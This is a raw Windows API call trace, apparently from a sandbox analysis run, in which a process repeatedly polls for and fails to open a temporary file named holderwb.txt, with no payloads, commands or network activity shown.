	[0099.555] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.555] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.555] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.556] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.556] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.556] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.556] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.556] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.556] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.557] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.557] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.557] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.557] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.557] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.558] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.558] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.558] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.562] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.562] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.562] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.563] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.563] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.563] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.564] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.564] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.564] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.564] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.564] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.564] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.564] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.565] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.565] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.565] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.565] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.565] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.565] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.566] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.566] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.566] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.567] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.567] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.567] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.567] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.568] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.568] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.568] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.568] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.568] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.568] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.569] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.569] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.569] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.569] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.569] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.569] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.570] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.570] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.570] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.571] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.571] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.571] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.571] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.572] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.572] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.572] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.572] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.572] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.572] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.572] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.573] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.573] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.573] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.573] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
